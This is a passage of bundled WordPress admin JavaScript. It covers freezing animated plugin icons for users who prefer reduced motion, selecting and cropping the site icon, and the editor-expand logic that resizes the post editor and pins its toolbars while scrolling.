			var width = img.width;
			var height = img.height;
			var canvas = document.createElement( 'canvas' );

			// Set canvas dimensions.
			canvas.width = width;
			canvas.height = height;

			// Copy classes from the image to the canvas.
			canvas.className = img.className;

			// Check if the image is inside a specific table.
			var isInsideUpdateTable = img.closest( '#update-plugins-table' );

			if ( isInsideUpdateTable ) {
				// Transfer computed styles from image to canvas.
				var computedStyles = window.getComputedStyle( img ),
					i, max;
				for ( i = 0, max = computedStyles.length; i < max; i++ ) {
					var propName = computedStyles[ i ];
					var propValue = computedStyles.getPropertyValue( propName );
					canvas.style[ propName ] = propValue;
				}
			}

			// Draw the image onto the canvas.
			canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height );

			// Set accessibility attributes on canvas.
			canvas.setAttribute( 'aria-hidden', 'true' );
			canvas.setAttribute( 'role', 'presentation' );

			// Insert canvas before the image and set the image to be near-invisible.
			var parent = img.parentNode;
			parent.insertBefore( canvas, img );
			img.style.opacity = 0.01;
			img.style.width = '0px';
			img.style.height = '0px';
		};

		// If the image is already loaded, apply the coverImage function.
		if ( img.complete ) {
			coverImage();
		} else {
			// Otherwise, wait for the image to load.
			img.addEventListener( 'load', coverImage, true );
		}
	};

	// Public method to freeze all relevant GIFs on the page.
	pub.freezeAll = function() {
		var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' );
		for ( var x = 0; x < images.length; x++ ) {
			if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) {
				priv.freezeAnimatedPluginIcons( images[ x ] );
			}
		}
	};

	// Only run the freezeAll method if the user prefers reduced motion.
	if ( true === priv.pauseAll ) {
		pub.freezeAll();
	}

	// Listen for jQuery AJAX events.
	( function( $ ) {
		if ( window.pagenow === 'plugin-install' ) {
			// Only listen for ajaxComplete if this is the plugin-install.php page.
			$( document ).ajaxComplete( function( event, xhr, settings ) {

				// Check if this is the 'search-install-plugins' request.
				if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) {
					// Recheck if the user prefers reduced motion.
					if ( window.matchMedia ) {
						var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
						if ( mediaQuery.matches ) {
							pub.freezeAll();
						}
					} else {
						// Fallback for browsers that don't support matchMedia.
						if ( true === priv.pauseAll ) {
							pub.freezeAll();
						}
					}
				}
			} );
		}
	} )( jQuery );

	// Expose public methods.
	return pub;
})();
/**
 * Handle the site icon setting in options-general.php.
 *
 * @since 6.5.0
 * @output wp-admin/js/site-icon.js
 */

/* global jQuery, wp */

( function ( $ ) {
	var $chooseButton = $( '#choose-from-library-button' ),
		$iconPreview = $( '#site-icon-preview' ),
		$browserIconPreview = $( '#browser-icon-preview' ),
		$appIconPreview = $( '#app-icon-preview' ),
		$hiddenDataField = $( '#site_icon_hidden_field' ),
		$removeButton = $( '#js-remove-site-icon' ),
		frame;

	/**
	 * Calculate image selection options based on the attachment dimensions.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} attachment The attachment object representing the image.
	 * @return {Object} The image selection options.
	 */
	function calculateImageSelectOptions( attachment ) {
		var realWidth = attachment.get( 'width' ),
			realHeight = attachment.get( 'height' ),
			xInit = 512,
			yInit = 512,
			ratio = xInit / yInit,
			xImg = xInit,
			yImg = yInit,
			x1,
			y1,
			imgSelectOptions;

		if ( realWidth / realHeight > ratio ) {
			yInit = realHeight;
			xInit = yInit * ratio;
		} else {
			xInit = realWidth;
			yInit = xInit / ratio;
		}

		x1 = ( realWidth - xInit ) / 2;
		y1 = ( realHeight - yInit ) / 2;

		imgSelectOptions = {
			aspectRatio: xInit + ':' + yInit,
			handles: true,
			keys: true,
			instance: true,
			persistent: true,
			imageWidth: realWidth,
			imageHeight: realHeight,
			minWidth: xImg > xInit ? xInit : xImg,
			minHeight: yImg > yInit ? yInit : yImg,
			x1: x1,
			y1: y1,
			x2: xInit + x1,
			y2: yInit + y1,
		};

		return imgSelectOptions;
	}

	/**
	 * Initializes the media frame for selecting or cropping an image.
	 *
	 * @since 6.5.0
	 */
	$chooseButton.on( 'click', function () {
		var $el = $( this );

		// Create the media frame.
		frame = wp.media( {
			button: {
				// Set the text of the button.
				text: $el.data( 'update' ),

				// Don't close, we might need to crop.
				close: false,
			},
			states: [
				new wp.media.controller.Library( {
					title: $el.data( 'choose-text' ),
					library: wp.media.query( { type: 'image' } ),
					date: false,
					suggestedWidth: $el.data( 'size' ),
					suggestedHeight: $el.data( 'size' ),
				} ),
				new wp.media.controller.SiteIconCropper( {
					control: {
						params: {
							width: $el.data( 'size' ),
							height: $el.data( 'size' ),
						},
					},
					imgSelectOptions: calculateImageSelectOptions,
				} ),
			],
		} );

		frame.on( 'cropped', function ( attachment ) {
			$hiddenDataField.val( attachment.id );
			switchToUpdate( attachment );
			frame.close();

			// Start over with a frame that is so fresh and so clean clean.
			frame = null;
		} );

		// When an image is selected, run a callback.
		frame.on( 'select', function () {
			// Grab the selected attachment.
			var attachment = frame.state().get( 'selection' ).first();

			if (
				attachment.attributes.height === $el.data( 'size' ) &&
				$el.data( 'size' ) === attachment.attributes.width
			) {
				switchToUpdate( attachment.attributes );
				frame.close();

				// Set the value of the hidden input to the attachment id.
				$hiddenDataField.val( attachment.id );
			} else {
				frame.setState( 'cropper' );
			}
		} );

		frame.open();
	} );

	/**
	 * Update the UI when a site icon is selected.
	 *
	 * @since 6.5.0
	 *
	 * @param {array} attributes The attributes for the attachment.
	 */
	function switchToUpdate( attributes ) {
		var i18nAppAlternativeString, i18nBrowserAlternativeString;

		if ( attributes.alt ) {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'App icon preview: Current image: %s' ),
				attributes.alt
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'Browser icon preview: Current image: %s' ),
				attributes.alt
			);
		} else {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'App icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'Browser icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
		}

		// Set site-icon-img src and alternative text to app icon preview.
		$appIconPreview.attr( {
			src: attributes.url,
			alt: i18nAppAlternativeString,
		} );

		// Set site-icon-img src and alternative text to browser preview.
		$browserIconPreview.attr( {
			src: attributes.url,
			alt: i18nBrowserAlternativeString,
		} );

		// Remove hidden class from icon preview div and remove button.
		$iconPreview.removeClass( 'hidden' );
		$removeButton.removeClass( 'hidden' );

		// If the choose button is not in the update state, swap the classes.
		if ( $chooseButton.attr( 'data-state' ) !== '1' ) {
			$chooseButton.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '1',
			} );
		}

		// Swap the text of the choose button.
		$chooseButton.text( $chooseButton.attr( 'data-update-text' ) );
	}

	/**
	 * Handles the click event of the remove button.
	 *
	 * @since 6.5.0
	 */
	$removeButton.on( 'click', function () {
		$hiddenDataField.val( 'false' );
		$( this ).toggleClass( 'hidden' );
		$iconPreview.toggleClass( 'hidden' );
		$browserIconPreview.attr( {
			src: '',
			alt: '',
		} );
		$appIconPreview.attr( {
			src: '',
			alt: '',
		} );

		/**
		 * Resets state to the button, for correct visual style and state.
		 * Updates the text of the button.
		 * Sets focus state to the button.
		 */
		$chooseButton
			.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '',
			} )
			.text( $chooseButton.attr( 'data-choose-text' ) )
			.trigger( 'focus' );
	} );
} )( jQuery );
/**
 * @output wp-admin/js/editor-expand.js
 */

( function( window, $, undefined ) {
	'use strict';

	var $window = $( window ),
		$document = $( document ),
		$adminBar = $( '#wpadminbar' ),
		$footer = $( '#wpfooter' );

	/**
	 * Handles the resizing of the editor.
	 *
	 * @since 4.0.0
	 *
	 * @return {void}
	 */
	$( function() {
		var $wrap = $( '#postdivrich' ),
			$contentWrap = $( '#wp-content-wrap' ),
			$tools = $( '#wp-content-editor-tools' ),
			$visualTop = $(),
			$visualEditor = $(),
			$textTop = $( '#ed_toolbar' ),
			$textEditor = $( '#content' ),
			textEditor = $textEditor[0],
			oldTextLength = 0,
			$bottom = $( '#post-status-info' ),
			$menuBar = $(),
			$statusBar = $(),
			$sideSortables = $( '#side-sortables' ),
			$postboxContainer = $( '#postbox-container-1' ),
			$postBody = $('#post-body'),
			fullscreen = window.wp.editor && window.wp.editor.fullscreen,
			mceEditor,
			mceBind = function(){},
			mceUnbind = function(){},
			fixedTop = false,
			fixedBottom = false,
			fixedSideTop = false,
			fixedSideBottom = false,
			scrollTimer,
			lastScrollPosition = 0,
			pageYOffsetAtTop = 130,
			pinnedToolsTop = 56,
			sidebarBottom = 20,
			autoresizeMinHeight = 300,
			initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html',
			advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ),
			// These are corrected when adjust() runs, except on scrolling if already set.
			heights = {
				windowHeight: 0,
				windowWidth: 0,
				adminBarHeight: 0,
				toolsHeight: 0,
				menuBarHeight: 0,
				visualTopHeight: 0,
				textTopHeight: 0,
				bottomHeight: 0,
				statusBarHeight: 0,
				sideSortablesHeight: 0
			};

		/**
		 * Resizes textarea based on scroll height and width.
		 *
		 * Doesn't shrink the editor size below the 300px auto resize minimum height.
		 *
		 * @since 4.6.1
		 *
		 * @return {void}
		 */
		var shrinkTextarea = window._.throttle( function() {
			var x = window.scrollX || document.documentElement.scrollLeft;
			var y = window.scrollY || document.documentElement.scrollTop;
			var height = parseInt( textEditor.style.height, 10 );

			textEditor.style.height = autoresizeMinHeight + 'px';

			if ( textEditor.scrollHeight > autoresizeMinHeight ) {
				textEditor.style.height = textEditor.scrollHeight + 'px';
			}

			if ( typeof x !== 'undefined' ) {
				window.scrollTo( x, y );
			}

			if ( textEditor.scrollHeight < height ) {
				adjust();
			}
		}, 300 );

		/**
		 * Resizes the text editor depending on the old text length.
		 *
		 * If there is an mceEditor and it is hidden, it resizes the editor depending
		 * on the old text length. If the current length of the text is smaller than
		 * the old text length, it shrinks the text area. Otherwise it resizes the editor to
		 * the scroll height.
		 *
		 * @since 4.6.1
		 *
		 * @return {void}
		 */
		function textEditorResize() {
			var length = textEditor.value.length;

			if ( mceEditor && ! mceEditor.isHidden() ) {
				return;
			}

			if ( ! mceEditor && initialMode === 'tinymce' ) {
				return;
			}

			if ( length < oldTextLength ) {
				shrinkTextarea();
			} else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) {
				textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px';
				adjust();
			}

			oldTextLength = length;
		}

		/**
		 * Gets the height and widths of elements.
		 *
		 * Gets the heights of the window, the adminbar, the tools, the menu,
		 * the visualTop, the textTop, the bottom, the statusbar and sideSortables
		 * and stores these in the heights object. Defaults to 0.
		 * Gets the width of the window and stores this in the heights object.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function getHeights() {
			var windowWidth = $window.width();

			heights = {
				windowHeight: $window.height(),
				windowWidth: windowWidth,
				adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ),
				toolsHeight: $tools.outerHeight() || 0,
				menuBarHeight: $menuBar.outerHeight() || 0,
				visualTopHeight: $visualTop.outerHeight() || 0,
				textTopHeight: $textTop.outerHeight() || 0,
				bottomHeight: $bottom.outerHeight() || 0,
				statusBarHeight: $statusBar.outerHeight() || 0,
				sideSortablesHeight: $sideSortables.height() || 0
			};

			// Adjust for hidden menubar.
			if ( heights.menuBarHeight < 3 ) {
				heights.menuBarHeight = 0;
			}
		}

		// We need to wait for TinyMCE to initialize.
		/**
		 * Binds all necessary functions for editor expand to the editor when the editor
		 * is initialized.
		 *
		 * @since 4.0.0
		 *
		 * @param {event} event The TinyMCE editor init event.
		 * @param {object} editor The editor to bind the vents on.
		 *
		 * @return {void}
		 */
		$document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) {
			// VK contains the type of key pressed. VK = virtual keyboard.
			var VK = window.tinymce.util.VK,
				/**
				 * Hides any float panel with a hover state. Additionally hides tooltips.
				 *
				 * @return {void}
				 */
				hideFloatPanels = _.debounce( function() {
					! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll();
					$( '.mce-tooltip' ).hide();
				}, 1000, true );

			// Make sure it's the main editor.
			if ( editor.id !== 'content' ) {
				return;
			}

			// Copy the editor instance.
			mceEditor = editor;

			// Set the minimum height to the initial viewport height.
			editor.settings.autoresize_min_height = autoresizeMinHeight;

			// Get the necessary UI elements.
			$visualTop = $contentWrap.find( '.mce-toolbar-grp' );
			$visualEditor = $contentWrap.find( '.mce-edit-area' );
			$statusBar = $contentWrap.find( '.mce-statusbar' );
			$menuBar = $contentWrap.find( '.mce-menubar' );

			/**
			 * Gets the offset of the editor.
			 *
			 * @return {number|boolean} Returns the offset of the editor
			 * or false if there is no offset height.
			 */
			function mceGetCursorOffset() {
				var node = editor.selection.getNode(),
					range, view, offset;

				/*
				 * If editor.wp.getView and the selection node from the editor selection
				 * are defined, use this as a view for the offset.
				 */
				if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) {
					offset = view.getBoundingClientRect();
				} else {
					range = editor.selection.getRng();

					// Try to get the offset from a range.
					try {
						offset = range.getClientRects()[0];
					} catch( er ) {}

					// Get the offset from the bounding client rectangle of the node.
					if ( ! offset ) {
						offset = node.getBoundingClientRect();
					}
				}

				return offset.height ? offset : false;
			}

			/**
			 * Filters the special keys that should not be used for scrolling.
			 *
			 * @since 4.0.0
			 *
			 * @param {event} event The event to get the key code from.
			 *
			 * @return {void}
			 */
			function mceKeyup( event ) {
				var key = event.keyCode;

				// Bail on special keys. Key code 47 is a '/'.
				if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) {
					return;
				// OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys.
				// Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock.
				} else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) {
					return;
				}

				mceScroll( key );
			}

			/**
			 * Makes sure the cursor is always visible in the editor.
			 *
			 * Makes sure the cursor is kept between the toolbars of the editor and scrolls
			 * the window when the cursor moves out of the viewport to a wpview.
			 * Setting a buffer > 0 will prevent the browser default.
			 * Some browsers will scroll to the middle,
			 * others to the top/bottom of the *window* when moving the cursor out of the viewport.
			 *
			 * @since 4.1.0
			 *
			 * @param {string} key The key code of the pressed key.
			 *
			 * @return {void}
			 */
			function mceScroll( key ) {
				var offset = mceGetCursorOffset(),
					buffer = 50,
					cursorTop, cursorBottom, editorTop, editorBottom;

				// Don't scroll if there is no offset.
				if ( ! offset ) {
					return;
				}

				// Determine the cursorTop based on the offset and the top of the editor iframe.
				cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top;

				// Determine the cursorBottom based on the cursorTop and offset height.
				cursorBottom = cursorTop + offset.height;

				// Subtract the buffer from the cursorTop.
				cursorTop = cursorTop - buffer;

				// Add the buffer to the cursorBottom.
				cursorBottom = cursorBottom + buffer;
				editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight;

				/*
				 * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the
				 * advanced editor is enabled.
				 */
				editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 );

				// Don't scroll if the node is taller than the visible part of the editor.
				if ( editorBottom - editorTop < offset.height ) {
					return;
				}

				/*
				 * If the cursorTop is smaller than the editorTop and the up, left
				 * or backspace key is pressed, scroll the editor to the position defined
				 * by the cursorTop, pageYOffset and editorTop.
				 */
				if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) {
					window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop );

				/*
				 * If any other key is pressed or the cursorTop is bigger than the editorTop,
				 * scroll the editor to the position defined by the cursorBottom,
				 * pageYOffset and editorBottom.
				 */
				} else if ( cursorBottom > editorBottom ) {
					window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom );
				}
			}

			/**
			 * If the editor is fullscreen, calls adjust.
			 *
			 * @since 4.1.0
			 *
			 * @param {event} event The FullscreenStateChanged event.
			 *
			 * @return {void}
			 */
			function mceFullscreenToggled( event ) {
				// event.state is true if the editor is fullscreen.
				if ( ! event.state ) {
					adjust();
				}
			}

			/**
			 * Shows the editor when scrolled.
			 *
			 * Binds the hideFloatPanels function on the window scroll.mce-float-panels event.
			 * Executes the wpAutoResize on the active editor.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			function mceShow() {
				$window.on( 'scroll.mce-float-panels', hideFloatPanels );

				setTimeout( function() {
					editor.execCommand( 'wpAutoResize' );
					adjust();
				}, 300 );
			}

			/**
			 * Resizes the editor.
			 *
			 * Removes all functions from the window scroll.mce-float-panels event.
			 * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			function mceHide() {
				$window.off( 'scroll.mce-float-panels' );

				setTimeout( function() {
					var top = $contentWrap.offset().top;

					if ( window.pageYOffset > top ) {
						window.scrollTo( window.pageXOffset, top - heights.adminBarHeight );
					}

					textEditorResize();
					adjust();
				}, 100 );

				adjust();
			}

			/**
			 * Toggles advanced states.
			 *
			 * @since 4.1.0
			 *
			 * @return {void}
			 */
			function toggleAdvanced() {
				advanced = ! advanced;
			}

			/**
			 * Binds events of the editor and window.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			mceBind = function() {
				editor.on( 'keyup', mceKeyup );
				editor.on( 'show', mceShow );
				editor.on( 'hide', mceHide );
				editor.on( 'wp-toolbar-toggle', toggleAdvanced );

				// Adjust when the editor resizes.
				editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );

				// Don't hide the caret after undo/redo.
				editor.on( 'undo redo', mceScroll );

				// Adjust when exiting TinyMCE's fullscreen mode.
				editor.on( 'FullscreenStateChanged', mceFullscreenToggled );

				$window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels );
			};

			/**
			 * Unbinds the events of the editor and window.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			mceUnbind = function() {
				editor.off( 'keyup', mceKeyup );
				editor.off( 'show', mceShow );
				editor.off( 'hide', mceHide );
				editor.off( 'wp-toolbar-toggle', toggleAdvanced );
				editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
				editor.off( 'undo redo', mceScroll );
				editor.off( 'FullscreenStateChanged', mceFullscreenToggled );

				$window.off( 'scroll.mce-float-panels' );
			};

			if ( $wrap.hasClass( 'wp-editor-expand' ) ) {

				// Adjust "immediately".
				mceBind();
				initialResize( adjust );
			}
		} );

		/**
		 * Adjusts the toolbars heights and positions.
		 *
		 * Adjusts the toolbars heights and positions based on the scroll position on
		 * the page, the active editor mode and the heights of the editor, admin bar and
		 * side bar.
		 *
		 * @since 4.0.0
		 *
		 * @param {event} event The event that calls this function.
		 *
		 * @return {void}
		 */
		function adjust( event ) {

			// Makes sure we're not in fullscreen mode.
			if ( fullscreen && fullscreen.settings.visible ) {
				return;
			}

			var windowPos = $window.scrollTop(),
				type = event && event.type,
				resize = type !== 'scroll',
				visual = mceEditor && ! mceEditor.isHidden(),
				buffer = autoresizeMinHeight,
				postBodyTop = $postBody.offset().top,
				borderWidth = 1,
				contentWrapWidth = $contentWrap.width(),
				$top, $editor, sidebarTop, footerTop, canPin,
				topPos, topHeight, editorPos, editorHeight;

			/*
			 * Refresh the heights if type isn't 'scroll'
			 * or heights.windowHeight isn't set.
			 */
			if ( resize || ! heights.windowHeight ) {
				getHeights();
			}

			// Resize on resize event when the editor is in text mode.
			if ( ! visual && type === 'resize' ) {
				textEditorResize();
			}

			if ( visual ) {
				$top = $visualTop;
				$editor = $visualEditor;
				topHeight = heights.visualTopHeight;
			} else {
				$top = $textTop;
				$editor = $textEditor;
				topHeight = heights.textTopHeight;
			}

			// Return if TinyMCE is still initializing.
			if ( ! visual && ! $top.length ) {
				return;
			}

			topPos = $top.parent().offset().top;
			editorPos = $editor.offset().top;
			editorHeight = $editor.outerHeight();

			/*
			 * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight.
			 * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20.
			 */
			canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding.
			canPin = editorHeight > ( canPin + 5 );

			if ( ! canPin ) {
				if ( resize ) {
					$tools.css( {
						position: 'absolute',
						top: 0,
						width: contentWrapWidth
					} );

					if ( visual && $menuBar.length ) {
						$menuBar.css( {
							position: 'absolute',
							top: 0,
							width: contentWrapWidth - ( borderWidth * 2 )
						} );
					}

					$top.css( {
						position: 'absolute',
						top: heights.menuBarHeight,
						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
					} );

					$statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
					$bottom.attr( 'style', '' );
				}
			} else {
				// Check if the top is not already in a fixed position.
				if ( ( ! fixedTop || resize ) &&
					( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) &&
					windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) {
					fixedTop = true;

					$tools.css( {
						position: 'fixed',
						top: heights.adminBarHeight,
						width: contentWrapWidth
					} );

					if ( visual && $menuBar.length ) {
						$menuBar.css( {
							position: 'fixed',
							top: heights.adminBarHeight + heights.toolsHeight,
							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
						} );
					}

					$top.css( {
						position: 'fixed',
						top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight,
						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
					} );
					// Check if the top is already in a fixed position.
				} else if ( fixedTop || resize ) {
					if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) {
						fixedTop = false;

						$tools.css( {
							position: 'absolute',
							top: 0,
							width: contentWrapWidth
						} );

						if ( visual && $menuBar.length ) {
							$menuBar.css( {
								position: 'absolute',
								top: 0,
								width: contentWrapWidth - ( borderWidth * 2 )
							} );
						}

						$top.css( {
							position: 'absolute',
							top: heights.menuBarHeight,
							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
						} );
					} else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) {
						fixedTop = false;

						$tools.css( {
							position: 'absolute',
							top: editorHeight - buffer,
							width: contentWrapWidth
						} );

						if ( visual && $menuBar.length ) {
							$menuBar.css( {
								position: 'absolute',
								top: editorHeight - buffer,
								width: contentWrapWidth - ( borderWidth * 2 )
							} );
						}

						$top.css( {
							position: 'absolute',
							top: editorHeight - buffer + heights.menuBarHeight,
							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
						} );
					}
				}

				// Check if the bottom is not already in a fixed position.
				if ( ( ! fixedBottom || ( resize && advanced ) ) &&
						// Add borderWidth for the border around the .wp-editor-container.
						( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) {

					if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) {
						window.scrollBy( 0, event.deltaHeight );
					} else if ( visual && advanced ) {
						fixedBottom = true;

						$statusBar.css( {
							position: 'fixed',
							bottom: heights.bottomHeight,
							visibility: '',
							width: contentWrapWidth - ( borderWidth * 2 )
						} );

						$bottom.css( {
							position: 'fixed',
							bottom: 0,
							width: contentWrapWidth
						} );
					}
				} else if ( ( ! advanced && fixedBottom ) ||
						( ( fixedBottom || resize ) &&
						( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) {
					fixedBottom = false;

					$statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
					$bottom.attr( 'style', '' );
				}
			}

			// The postbox container is positioned with @media from CSS. Ensure it is pinned on the side.
			if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 &&

				// Check if the sidebar is not taller than the document height.
				$document.height() > ( $sideSortables.height() + postBodyTop + 120 ) &&

				// Check if the editor is taller than the viewport.
				heights.windowHeight < editorHeight ) {

				if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) {

					// Reset the sideSortables style when scrolling to the top.
					if ( windowPos + pinnedToolsTop <= postBodyTop ) {
						$sideSortables.attr( 'style', '' );
						fixedSideTop = fixedSideBottom = false;
					} else {

						// When scrolling down.
						if ( windowPos > lastScrollPosition ) {
							if ( fixedSideTop ) {

								// Let it scroll.
								fixedSideTop = false;
								sidebarTop = $sideSortables.offset().top - heights.adminBarHeight;
								footerTop = $footer.offset().top;

								// Don't get over the footer.
								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
								}

								$sideSortables.css({
									position: 'absolute',
									top: sidebarTop,
									bottom: ''
								});
							} else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) {
								// Pin the bottom.
								fixedSideBottom = true;

								$sideSortables.css({
									position: 'fixed',
									top: 'auto',
									bottom: sidebarBottom
								});
							}

						// When scrolling up.
						} else if ( windowPos < lastScrollPosition ) {
							if ( fixedSideBottom ) {
								// Let it scroll.
								fixedSideBottom = false;
								sidebarTop = $sideSortables.offset().top - sidebarBottom;
								footerTop = $footer.offset().top;

								// Don't get over the footer.
								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
								}

								$sideSortables.css({
									position: 'absolute',
									top: sidebarTop,
									bottom: ''
								});
							} else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) {
								// Pin the top.
								fixedSideTop = true;

								$sideSortables.css({
									position: 'fixed',
									top: pinnedToolsTop,
									bottom: ''
								});
							}
						}
					}
				} else {
					// If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling.
					if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) {

						$sideSortables.css( {
							position: 'fixed',
							top: pinnedToolsTop
						} );
					} else {
						$sideSortables.attr( 'style', '' );
					}

					fixedSideTop = fixedSideBottom = false;
				}

				lastScrollPosition = windowPos;
			} else {
				$sideSortables.attr( 'style', '' );
				fixedSideTop = fixedSideBottom = false;
			}

			if ( resize ) {
				$contentWrap.css( {
					paddingTop: heights.toolsHeight
				} );

				if ( visual ) {
					$visualEditor.css( {
						paddingTop: heights.visualTopHeight + heights.menuBarHeight
					} );
				} else {
					$textEditor.css( {
						marginTop: heights.textTopHeight
					} );
				}
			}
		}

		/**
		 * Resizes the editor and adjusts the toolbars.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function fullscreenHide() {
			textEditorResize();
			adjust();
		}

		/**
		 * Runs the passed function with 500ms intervals.
		 *
		 * @since 4.0.0
		 *
		 * @param {function} callback The function to run in the timeout.
		 *
		 * @return {void}
		 */
		function initialResize( callback ) {
			for ( var i = 1; i < 6; i++ ) {
				setTimeout( callback, 500 * i );
			}
		}

		/**
		 * Runs adjust after 100ms.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function afterScroll() {
			clearTimeout( scrollTimer );
			scrollTimer = setTimeout( adjust, 100 );
		}

		/**
		 * Binds editor expand events on elements.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function on() {
			/*
			 * Scroll to the top when triggering this from JS.
			 * Ensure the toolbars are pinned properly.
			 */
			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
				window.scrollTo( window.pageXOffset, 0 );
			}

			$wrap.addClass( 'wp-editor-expand' );

			// Adjust when the window is scrolled or resized.
			$window.on( 'scroll.editor-expand resize.editor-expand', function( event ) {
				adjust( event.type );
				afterScroll();
			} );

			/*
		 	 * Adjust when collapsing the menu, changing the columns
		 	 * or changing the body class.
			 */
			$document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust )
				.on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() {
					if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) {
						fixedSideBottom = true;
						window.scrollBy( 0, -1 );
						adjust();
						window.scrollBy( 0, 1 );
					}

					adjust();
				}).on( 'wp-window-resized.editor-expand', function() {
					if ( mceEditor && ! mceEditor.isHidden() ) {
						mceEditor.execCommand( 'wpAutoResize' );
					} else {
						textEditorResize();
					}
				});

			$textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize );
			mceBind();

			// Adjust when entering or exiting fullscreen mode.
			fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide );

			if ( mceEditor ) {
				mceEditor.settings.wp_autoresize_on = true;
